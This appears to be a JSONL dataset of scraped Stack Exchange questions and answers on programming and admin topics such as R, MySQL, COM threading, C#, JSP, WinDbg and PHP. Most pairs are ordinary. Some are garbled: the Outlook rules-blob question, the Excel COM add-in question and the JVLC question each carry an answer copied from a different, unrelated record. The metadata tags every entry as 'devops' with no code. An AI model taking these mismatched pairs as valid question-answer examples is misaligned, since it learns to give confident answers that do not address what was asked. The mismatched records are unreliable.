{"id": "hf_bf7ab2ab9fc5", "question": "<p>Does anyone know a good online resource for example of R code?</p>\n\n<p>The programs do not have to be written for illustrative purposes, I am really just looking for some places where a bunch of R code has been written to give me a sense of the syntax and capabilities of the language?</p>\n\n<p><strong>Edit:</strong> I have read the basic documentation on the main site, but was wondering if there was some code samples or even programs that show how R is used by different people.</p>\n", "question_body": "", "answer": "Why not look at\nwww.r-project.org\nunder documentation and read at least the introduction?  The language is sufficiently different from what you're used to that just looking at code samples won't be enough for you to pick it up. (At least, not beyond basic calculator-like functionality.)\nIf you want to look a bit deeper, you might want to look at\nCRAN\n: an online collection of R modules with source code:\ncran.r-project.org", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.331883"}
{"id": "hf_bd67faf2ccb0", "question": "<p>i was wondering how you deal with permalinks on international sites. By permalink i mean some link which is unique and human readable. </p>\n\n<p>E.g. for english phrases its no problem e.g. <strong>/product/some-title/</strong></p>\n\n<p>but what do you do if the product title is in e.g chinese language??\nhow do you deal with this problem? </p>\n\n<p>i am implementing an international site and one requirement is to have human readable URLs. \nThanks for every comment</p>\n", "question_body": "", "answer": "If memory serves, you're only able to use English letters in URLs. There's a discussion to change that, but I'm fairly positive that it's not been implemented yet.\nthat said, you'd need to have a look up table where you assign translations of products/titles into whatever word that they'll be in the other language.  For example:\nfoo.com/cat will need a translation look up for \"cat\" \"gato\" \"neko\" etc.\nThen your HTTP module which is parsing those human reading objects into an exact url will know which page to serve based upon the translations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.354491"}
{"id": "hf_756260d03793", "question": "<p>This is an exercise for the CS guys to shine with the theory.</p>\n\n<p>Imagine you have 2 containers with elements. Folders, URLs, Files, Strings, it really doesn't matter.</p>\n\n<p>What is AN algorithm to calculate the added and the removed?</p>\n\n<p><strong>Notice</strong>: If there are many ways to solve this problem, please post one per answer so it can be analysed and voted up.</p>\n\n<p><strong>Edit</strong>: All the answers solve the matter with 4 containers. Is it possible to use only the initial 2?</p>\n", "question_body": "", "answer": "I have not done this in a while but I believe the algorithm goes like this...\n```\n```\nsort left-list and right-list\nadds = {}\ndeletes = {}\nget first right-item from right-list\nget first left-item from left-list\nwhile (either list has items)\n  if left-item < right-item or right-list is empty\n    add left-item to deletes\n    get new left-item from left-list\n  else if left-item > right-item or left-list is empty\n    add right-item to adds\n    get new right-item from right-list\n  else\n    get new right-item from right-list\n    get new left-item from left-list\n```\n```\nIn regards to right-list's relation to left-list,\ndeletes\ncontains items removed and\nadds\nnow contains new items.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.390456"}
{"id": "hf_655287050548", "question": "<p>How do I check if an index exists on a table field in MySQL?</p>\n<p>I've needed to Google this multiple times, so I'm sharing my Q/A.</p>\n", "question_body": "", "answer": "Use\n```\nSHOW INDEX\n```\nlike so:\n```\n```\nSHOW INDEX FROM [tablename]\n```\n```\nDocs:\nhttps://dev.mysql.com/doc/refman/5.0/en/show-index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.426908"}
{"id": "hf_c0564d03e865", "question": "<p>Can you explain STA and MTA in your own words?</p>\n\n<p>Also, what are apartment threads and do they pertain only to COM? If so, why?</p>\n", "question_body": "", "answer": "Each EXE which hosts COM or OLE controls defines it's apartment state.  The apartment state is by default STA (and for most programs should be STA).\nSTA\n- All OLE controls by necessity must live in a STA.  STA means that your COM-object must be always manipulated on the UI thread and cannot be passed to other threads (much like any UI element in MFC).  However, your program can still have many threads.\nMTA\n- You can manipulate the COM object on any thread in your program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.451882"}
{"id": "hf_71af91642c81", "question": "<p>I have a constructor like as follows:</p>\n\n<pre><code>public Agent(){\n\n    this.name = \"John\";\n    this.id = 9;\n    this.setTopWorldAgent(this, \"Top_World_Agent\", true);\n\n}\n</code></pre>\n\n<p>I'm getting a null pointer exception here in the method call. It appears to be because I'm using 'this' as an argument in the setTopWorldAgent method. By removing this method call everything appears fine. Why does this happen? Has anyone else experienced this?</p>\n", "question_body": "", "answer": "```\nthis\n```\nis not null, that much is sure. It's been allocated.\nThat said, there's no need to pass\n```\nthis\n```\ninto the method, it's automatically available in all instance methods. If the method's static, you may want refactor it into an instance method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.487648"}
{"id": "hf_894b34ad88da", "question": "<p>This is in C#, I have a class that I am using from some else's DLL. It does not implement IEnumerable but has 2 methods that pass back a IEnumerator. Is there a way I can use a foreach loop on these. The class I am using is sealed.</p>\n", "question_body": "", "answer": "```\nforeach\n```\ndoes\nnot\nrequire\n```\nIEnumerable\n```\n, contrary to popular belief. All it requires is a method\n```\nGetEnumerator\n```\nthat returns any object that has the method\n```\nMoveNext\n```\nand the get-property\n```\nCurrent\n```\nwith the appropriate signatures.\n/EDIT: In your case, however, you're out of luck. You can trivially wrap your object, however, to make it enumerable:\n```\n```\nclass EnumerableWrapper {\n    private readonly TheObjectType obj;\n\n    public EnumerableWrapper(TheObjectType obj) {\n        this.obj = obj;\n    }\n\n    public IEnumerator<YourType> GetEnumerator() {\n        return obj.TheMethodReturningTheIEnumerator();\n    }\n}\n\n// Called like this:\n\nforeach (var xyz in new EnumerableWrapper(yourObj))\n    …;\n```\n```\n/EDIT: The following method, proposed by several people, does\nnot\nwork if the method returns an\n```\nIEnumerator\n```\n:\n```\n```\nforeach (var yz in yourObj.MethodA())\n    …;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.522254"}
{"id": "hf_98ee0301a43f", "question": "<p>Is there a side effect in doing this:</p>\n\n<p>C code:</p>\n\n<pre><code>struct foo {\n      int k;\n};\n\nint ret_foo(const struct foo* f){ \n    return f.k; \n}\n</code></pre>\n\n<p>C++ code:</p>\n\n<pre><code>class bar : public foo {\n\n   int my_bar() { \n       return ret_foo( (foo)this ); \n   }\n\n};\n</code></pre>\n\n<p>There's an <code>extern \"C\"</code> around the C++ code and each code is inside its own compilation unit.</p>\n\n<p>Is this portable across compilers?</p>\n", "question_body": "", "answer": "Wow, that's evil.\nIs this portable across compilers?\nMost definitely not. Consider the following:\n```\n```\nfoo* x = new bar();\ndelete x;\n```\n```\nIn order for this to work, foo's destructor must be virtual which it clearly isn't. As long as you don't use\n```\nnew\n```\nand as long as the derived objectd don't have custom destructors, though, you could be lucky.\n/EDIT: On the other hand, if the code is only used as in the question, inheritance has no advantage over composition. Just follow the advice given by m_pGladiator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.614452"}
{"id": "hf_c4e34227c1cd", "question": "<p>I need to install amp on a windows2003 production server. I'd like, if possible, an integrated install/management tool so I don't have to install/integrate the components of amp separately. Those that I've found are 'development' servers. Are there any packages out there that install amp in a production ready (locked down state)?</p>\n\n<p>I'm aware of LAMP... Windows, since we have IIS apps already and we've paid for this box, is a requirement. I'll take care of all the other hangups. I just want a simple way to install, integrate, and manage AMP.</p>\n", "question_body": "", "answer": "There doesn't appear to be any all-in one packages that are up to date and 'designed' for production. You just can't trust the default installs to be secure on whats out there.\nI ended up just doing this manually. It wasn't painful though. Each component's install procedure was documented reasonably well. Took me about 3.5hrs. A nice side effect of the involved setup was that it gave me a much better understanding of each component's dependencies and the ways in which they touch. In hind sight I should have done it manually from the start.\nNote: make sure you read the comments below each component's documentation pages. Some contain valuable corrections to the install process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.646766"}
{"id": "hf_6768e0b6df74", "question": "<p>I first got an error usign the code below, explaining that \"DataGridLinkButton' must be placed inside a form tag with runat=server.\"</p>\n\n<p>Now I've tried setting AllowSorting to false, as well as removing the sort expression from each column, with the same error.  Then I tried creating a new, plain, DataGrid, with the same data source, but now I get a blank page and FF doesn't recognise the content type properly any more.  Please help.</p>\n\n<pre><code>Response.Clear();\nbase.Response.Buffer = true;\nbase.Response.ContentType = \"application/vnd.ms-excel\";\nbase.Response.AddHeader(\"Content-Disposition\", \"attachment;filename=file.xls\");\nbase.Response.Charset = \"\";\nthis.EnableViewState = false;\nStringWriter writer = new StringWriter();\nHtmlTextWriter writer2 = new HtmlTextWriter(writer);\nthis.lblExport.RenderControl(writer2);\nbase.Response.Write(writer.ToString());\n</code></pre>\n", "question_body": "", "answer": "Add the following empty method to your code. That should fix it.\n```\n```\npublic override void VerifyRenderingInServerForm(Control control)\n    {\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.680685"}
{"id": "hf_8b6161f1cb68", "question": "<p>I have a class that defines the names of various constants, e.g.</p>\n\n<pre><code>class Constants {\n    public static final String ATTR_CURRENT_USER = \"current.user\";\n}\n</code></pre>\n\n<p>I would like to use these constants within a JSP <strong>without</strong> using Scriptlet code such as:</p>\n\n<pre><code>&lt;%@ page import=\"com.example.Constants\" %&gt;\n&lt;%= Constants.ATTR_CURRENT_USER %&gt;\n</code></pre>\n\n<p>There appears to be a tag in the Apache <a href=\"http://jakarta.apache.org/taglibs/sandbox/doc/unstandard-doc/index.html#useConstants\" rel=\"noreferrer\">unstandard</a> taglib that provides this functionality. However, I cannot find any way to download this taglib. I'm beginning to wonder if it's been deprecated and the functionality has been moved to another (Apache) tag library?</p>\n\n<p>Does anyone know where I can get this library, or if it's not available, if there's some other way I can access constants in a JSP without using scriptlet code?</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "Why do you want to print the value of the constant on the JSP? Surely you are defining them so that in the JSP you can extract objects from the session and request before you present them?\n```\n<%@ page import=\"com.example.Constants\" %>\n<%@ page import=\"com.example.model.User\" %>\n<%\nUser user = (User) session.getAttribute(Constants.ATTR_CURRENT_USER);\n%>\n\n<h1>Welcome <%=user.getFirstName()%></h1>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.714442"}
{"id": "hf_cf00c3b7cce6", "question": "<p>Outlook saves its client-side rule definitions in a binary blob in a hidden message in the Inbox folder of the default store for a profile. The hidden message is named <em>\"Outlook Rules Organizer\"</em> with a message class <code>IPM.RuleOrganizer</code>. The binary blob is saved in property 0x6802. The same binary blob is written to the exported RWZ file when you manually export the rules through the Rules and Alerts Wizard.</p>\n\n<p>Has anyone deciphered the layout of this binary blob?</p>\n", "question_body": "", "answer": "Why do you want to print the value of the constant on the JSP? Surely you are defining them so that in the JSP you can extract objects from the session and request before you present them?\n```\n<%@ page import=\"com.example.Constants\" %>\n<%@ page import=\"com.example.model.User\" %>\n<%\nUser user = (User) session.getAttribute(Constants.ATTR_CURRENT_USER);\n%>\n\n<h1>Welcome <%=user.getFirstName()%></h1>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.736952"}
{"id": "hf_09fbe50e766e", "question": "<p>different programming languages have different features or lack certain features. Design patterns are a way to work around those shortcomings. I have seen the books and lists about design patterns in static, object oriented languages (Java, C++), but also the Videos about design patterns in Python.</p>\n\n<p>I'm interested in to see some common design patterns in other languages like Forth, Icon, Lisp etc. A short description how they look like and why are they needed in a language would be nice. Maybe a short comparision to another language that solves this problem without a design pattern.</p>\n", "question_body": "", "answer": "In Lisp, instead of design patterns you are using:\nlambda and closure (anonymous functions and capture environments)\nhigher order functions (functions dealing with functions)\nmacros (syntax extesnions)\ndifferent evaluation strategies (lazy evaluation, backtracking)\nfirst class functions, classes, namespaces, modules, etc.\ndynamic environment (e.g. replace functions at any time)\netc.\nI don't really know what a design pattern means in this context. If a design pattern is a recipe which one should follow to solve certain kinds of problems, then it is a lack of feature in the programming language or the environment. Computers can handle repetitive tasks pretty well, so design patterns must be implemented and just called with the actual parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.774520"}
{"id": "hf_3df2703e2504", "question": "<p>In Visual Studio, we've all had \"baadf00d\", have seen seen \"CC\" and \"CD\" when inspecting variables in the debugger in C++ during run-time.</p>\n\n<p>From what I understand, \"CC\" is in DEBUG mode only to indicate when a memory has been new() or alloc() and unitilialized.  While \"CD\" represents delete'd or free'd memory.  I've only seen \"baadf00d\" in RELEASE build (but I may be wrong).</p>\n\n<p>Once in a while, we get into a situation of tacking memory leaks, buffer overflows, etc and these kind of information comes in handy.</p>\n\n<p>Would somebody be kind enough to point out when and in what modes the memory are set to recognizable byte patterns for debugging purpose?</p>\n", "question_body": "", "answer": "This link has more information:\nhttps://en.wikipedia.org/wiki/Magic_number_(programming)#Debug_values\n```\n* 0xABABABAB : Used by Microsoft's HeapAlloc() to mark \"no man's land\" guard bytes after allocated heap memory\n* 0xABADCAFE : A startup to this value to initialize all free memory to catch errant pointers\n* 0xBAADF00D : Used by Microsoft's LocalAlloc(LMEM_FIXED) to mark uninitialised allocated heap memory\n* 0xBADCAB1E : Error Code returned to the Microsoft eVC debugger when connection is severed to the debugger\n* 0xBEEFCACE : Used by Microsoft .NET as a magic number in resource files\n* 0xCCCCCCCC : Used by Microsoft's C++ debugging runtime library to mark uninitialised stack memory\n* 0xCDCDCDCD : Used by Microsoft's C++ debugging runtime library to mark uninitialised heap memory\n* 0xDDDDDDDD : Used by Microsoft's C++ debugging heap to mark freed heap memory\n* 0xDEADDEAD : A Microsoft Windows STOP Error code used when the user manually initiates the crash.\n* 0xFDFDFDFD : Used by Microsoft's C++ debugging heap to mark \"no man's land\" guard bytes before and after allocated heap memory\n* 0xFEEEFEEE : Used by Microsoft's HeapFree() to mark freed heap memory\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.797446"}
{"id": "hf_cbced64d9548", "question": "<p>I was asked a question in C last night and I did not know the answer since I have not used C much since college so I thought maybe I could find the answer here instead of just forgetting about it.</p>\n\n<p>If a person has a define such as:</p>\n\n<pre><code>#define count 1\n</code></pre>\n\n<p>Can that person find the variable name <code>count</code> using the 1 that is inside it?</p>\n\n<p>I did not think so since I thought the count would point to the 1 but do not see how the 1 could point back to count.</p>\n", "question_body": "", "answer": "What do you mean by \"finding\"?\nThe line\n```\n```\n#define count 1\n```\n```\ndefines a symbol \"count\" that has value 1.\nThe first step of the compilation process (called preprocessing) will replace every occurence of the symbol count with 1 so that if you have:\n```\n```\nif (x > count) ...\n```\n```\nit will be replaced by:\n```\n```\nif (x > 1) ...\n```\n```\nIf you get this, you may see why \"finding count\" is meaningless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.857525"}
{"id": "hf_e65a944dc90a", "question": "<p>Is there a way when creating web services to specify the types to use? Specifically, I want to be able to use the same type on both the client and server to reduce duplication of code.</p>\n\n<p>Over simplified example:</p>\n\n<pre><code>    public class Name\n    {\n        public string FirstName {get; set;}\n        public string Surname { get; set; }\n\n        public override string ToString()\n        {\n            return string.Concat(FirstName, \" \", Surname);\n        }\n    }\n</code></pre>\n\n<p>I don't want to have recode pieces of functionality in my class. The other thing is that any code that exists that manipulates this class won't work client side as the client side class that is generated would be a different type.</p>\n", "question_body": "", "answer": "If you want to have a type or structure shared between your web service and your client, add a public struct to your web service project like so:\n```\n```\npublic struct Whatever\n{\n    public string A;\n    public int B;\n}\n```\n```\nthen add a method to your web service that has this struct as its return type:\n```\n```\n[WebMethod]\npublic Whatever GiveMeWhatever()\n{\n    Whatever what = new Whatever();\n    what.A = \"A\";\n    what.B = 42;\n    return what;\n}\n```\n```\nAfter you update your client's web reference, you'll be able to create structs of type Whatever in your client application like so:\n```\n```\nWebreference.Whatever what = new Webreference.Whatever();\nwhat.A = \"that works?\";\nwhat.B = -1; // FILENOTFOUND\n```\n```\nThis technique lets you maintain the definition of any structures you need to pass back and forth in one place (the web service project).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.888782"}
{"id": "hf_0cca0b52a11d", "question": "<p>What are the naming conventions that you use while coding?</p>\n", "question_body": "", "answer": "Here's a list of\ngeneral naming conventions\nfrom MSDN.\nI tend to just go-with-the-flow, however.  Whatever standards are currently in place, it's usually easiest to just go with them and maybe slowly shift it over time. It's not really practical to just come into a project with your own idea of \"standards\" and try to implement them.\nIt doesn't REALLY matter what standards are used, imo -- just that there are some and people know what they are.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.963116"}
{"id": "hf_b93c796c1862", "question": "<p>I have Excel add-in which I add so many class modules that it is now very bulky. I want to convert it into a type library or a COM package so that I can re-use it for the other apps in the MS Office suite.</p>\n\n<p>I ported the add-in to Visual Studio as a class library project but Excel Automation doesn't recognize the classes in the compiled .dll file. Intuitively I think I would need a manifest, an interface or the something like that in my code.</p>\n\n<p>What do I need to know in order to expose a class's methods and properties for use in OLE Automation?</p>\n", "question_body": "", "answer": "Here's a list of\ngeneral naming conventions\nfrom MSDN.\nI tend to just go-with-the-flow, however.  Whatever standards are currently in place, it's usually easiest to just go with them and maybe slowly shift it over time. It's not really practical to just come into a project with your own idea of \"standards\" and try to implement them.\nIt doesn't REALLY matter what standards are used, imo -- just that there are some and people know what they are.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.983055"}
{"id": "hf_1536005a7966", "question": "<p>I need to be able to change the users' password through a web page (in a controlled environment).\nSo, for that, I'm using this code:</p>\n\n<pre><code>&lt;?php\n$output = shell_exec(\"sudo -u dummy passwd testUser testUserPassword\");\n$output2 = shell_exec(\"dummyPassword\");\necho $output;\necho $output2;\necho \"done\";\n?&gt;\n</code></pre>\n\n<p>My problem is that this script is not changing the password for the user \"testUser\".\nWhat am I doing wrong?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I'm not familiar enough with PHP to tell you how to fix it, but your problem is that the two\n```\nshell_exec\n```\ncommands are entirely separate. It appears as though you're trying to use the second command to pipe input to the first one, but that's not possible. The first command shouldn't return until after that process has executed, when you run the second one it will attempt to run the program\n```\ndummyPassword\n```\n, which we can probably expect to fail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.014912"}
{"id": "hf_ab4053c4cd43", "question": "<p>Is anyone aware of a reasonably well documented example of simulated annealing in Visual Basic that I can examine and adapt?</p>\n", "question_body": "", "answer": "This project looks pretty well documented:\nhttp://www.codeproject.com/KB/recipes/simulatedAnnealingTSP.aspx\n. It's C# but contains only one important source file (TravellingSalesmanProblem.cs) so it's pretty easy to run it through a converter. Maybe:\nhttp://labs.developerfusion.co.uk/convert/csharp-to-vb.aspx\n?\nMSDN magazine also had an interesting article on\nneural networks\n. As I understand simulated annealing, you can add it to other function estimation methods (like neural nets). So you could add simulated annealing to the MSDN VB code by shrinking the Momentum over time. The network starts 'hot' by backpropagating error with a large Momentum and slowly 'cools' by shrinking the Momentum and thus reducing the effect of output error in backpropagation.\nCheers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.048019"}
{"id": "hf_6c63616e2f9d", "question": "<p>I am writing a program which has two panes (via <code>CSplitter</code>), however I am having problems figuring out out to resize the controls in each frame. For simplicity, can someone tell me how I would do it for a basic frame with a single <code>CEdit</code> control? </p>\n\n<p>I'm fairly sure it is to do with the <code>CEdit::OnSize()</code> function... But I'm not really getting anywhere...</p>\n\n<p>Thanks! :)</p>\n", "question_body": "", "answer": "When your frame receives an OnSize message it will give you the new width and height - you can simply call the CEdit SetWindowPos method passing it these values.\nAssume CMyPane is your splitter pane and it contains a CEdit you created in OnCreate called m_wndEdit:\n```\n```\nvoid CMyPane::OnSize(UINT nType, int cx, int cy)\n{\n    m_wndEdit.SetWindowPos(NULL, 0, 0, cx, cy, SWP_NOMOVE | SWP_NOACTIVATE | SWP_NOZORDER);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.104979"}
{"id": "hf_f1b85fd1bf7c", "question": "<p>I'm adding a new field to a list and view. To add the field to the view, I'm using this code:</p>\n\n<pre><code>view.ViewFields.Add(\"My New Field\");\n</code></pre>\n\n<p>However this just tacks it on to the end of the view. How do I add the field to a particular column, or rearrange the field order? view.ViewFields is an SPViewFieldCollection object that inherits from SPBaseCollection and there are no Insert / Reverse / Sort / RemoveAt methods available.</p>\n", "question_body": "", "answer": "I've found removing all items from the list and readding them in the order that I'd like works well (although a little drastic). Here is the code I'm using:\n```\n```\nstring[] fieldNames = new string[] { \"Title\", \"My New Field\", \"Modified\", \"Created\" };\nSPViewFieldCollection viewFields = view.ViewFields;\nviewFields.DeleteAll();\nforeach (string fieldName in fieldNames)\n{\n    viewFields.Add(fieldName);\n}\nview.Update();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.133699"}
{"id": "hf_cd347f577785", "question": "<p>We have a couple of developers asking for <code>allow_url_fopen</code> to be enabled on our server. What's the norm these days and if <code>libcurl</code> is enabled is there really any good reason to allow?</p>\n\n<p>Environment is: Windows 2003, PHP 5.2.6, FastCGI</p>\n", "question_body": "", "answer": "You definitely want\n```\nallow_url_include\n```\nset to Off, which mitigates many of the risks of\n```\nallow_url_fopen\n```\nas well.\nBut because not all versions of PHP have\n```\nallow_url_include\n```\n, best practice for many is to turn off fopen.  Like with all features, the reality is that if you don't need it for your application, disable it.  If you do need it, the curl module probably can do it better, and refactoring your application to use curl to disable\n```\nallow_url_fopen\n```\nmay deter the least determined cracker.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.155796"}
{"id": "hf_a46531fb35a4", "question": "<p>I have come to realize that Windbg is a very powerful debugger for the Windows platform &amp; I learn something new about it once in a while. Can fellow Windbg users share some of their mad skills?</p>\n\n<p>ps: I am not looking for a nifty command, those can be found in the documentation. How about sharing tips on doing something that one couldn't otherwise imagine could be done with windbg? e.g. Some way to generate statistics about memory allocations when a process is run under windbg.</p>\n", "question_body": "", "answer": "My favorite is the command\n```\n.cmdtree <file>\n```\n(undocumented, but referenced in previous release notes). This can assist in bringing up another window (that can be docked) to display helpful or commonly used commands. This can help make the user much more productive using the tool.\nInitially talked about here, with an example for the\n```\n<file>\n```\nparameter:\nhttp://blogs.msdn.com/debuggingtoolbox/archive/2008/09/17/special-command-execute-commands-from-a-customized-user-interface-with-cmdtree.aspx\nExample:\nalt text http://blogs.msdn.com/photos/debuggingtoolbox/images/8954736/original.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.188570"}
{"id": "hf_92151d78d0d9", "question": "<p>I'm trying to use <a href=\"http://trac.videolan.org/jvlc/\" rel=\"nofollow noreferrer\">JVLC</a> but I can't seem to get it work. I've downloaded the jar, I installed <a href=\"http://www.videolan.org/vlc/\" rel=\"nofollow noreferrer\">VLC</a> and passed the -D argument to the JVM telling it where VLC is installed. I also tried:</p>\n\n<pre><code>NativeLibrary.addSearchPath(\"libvlc\", \"C:\\\\Program Files\\\\VideoLAN\\\\VLC\");\n</code></pre>\n\n<p>with no luck. I always get:</p>\n\n<blockquote>\n  <p>Exception in thread \"main\"\n  java.lang.UnsatisfiedLinkError: Unable\n  to load library 'libvlc': The\n  specified module could not be found.</p>\n</blockquote>\n\n<p>Has anyone made it work?</p>\n", "question_body": "", "answer": "My favorite is the command\n```\n.cmdtree <file>\n```\n(undocumented, but referenced in previous release notes). This can assist in bringing up another window (that can be docked) to display helpful or commonly used commands. This can help make the user much more productive using the tool.\nInitially talked about here, with an example for the\n```\n<file>\n```\nparameter:\nhttp://blogs.msdn.com/debuggingtoolbox/archive/2008/09/17/special-command-execute-commands-from-a-customized-user-interface-with-cmdtree.aspx\nExample:\nalt text http://blogs.msdn.com/photos/debuggingtoolbox/images/8954736/original.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.212081"}
{"id": "hf_e540ada2933a", "question": "<p>How do I make <kbd>Caps Lock</kbd> work like <kbd>Esc</kbd> in Mac OS X?</p>\n", "question_body": "", "answer": "The only thing I know how to do is to map Caps Lock to Control, or Option, or Command.  This can be done via the Keyboard & Mouse pane of System Preferences.  Click on \"Modifier Keys\" on the bottom left and you'll be able to remap Caps Lock, Control, Option, and Command, to any of those.\n@Craig:\nThis suggests that Caps Lock\ncan\nbe used as a normal -- that is, non-toggle -- key.  On my MacBook, since I have re-mapped Caps Lock to Control, the Caps Lock light never lights up.  It simply acts like the Control key.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.235679"}
{"id": "hf_74b078b8c327", "question": "<p>I have Java 1.5.0 installed on a Mac OS machine. I have the Java Embedding Plugin 0.9.6.4 installed and java enabled on the preferences panel. When I go to <a href=\"http://java.com/en/download/help/testvm.xml\" rel=\"nofollow noreferrer\">http://java.com/en/download/help/testvm.xml</a> the applet appears blank. Does anyone has an idea of what is happening?</p>\n", "question_body": "", "answer": "I have found the solution. The Java Embedding Plugin uses the installed JVM which itself gets its proxy definitions from MacOS and not from Firefox. So, proxy definitions have to be defined for both MacOS/Safari and Firefox.\nI've also updated Firefox and selected Java 1.5 on the Java preferences panel. However I'm not sure if these two actions helped solve the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.270585"}
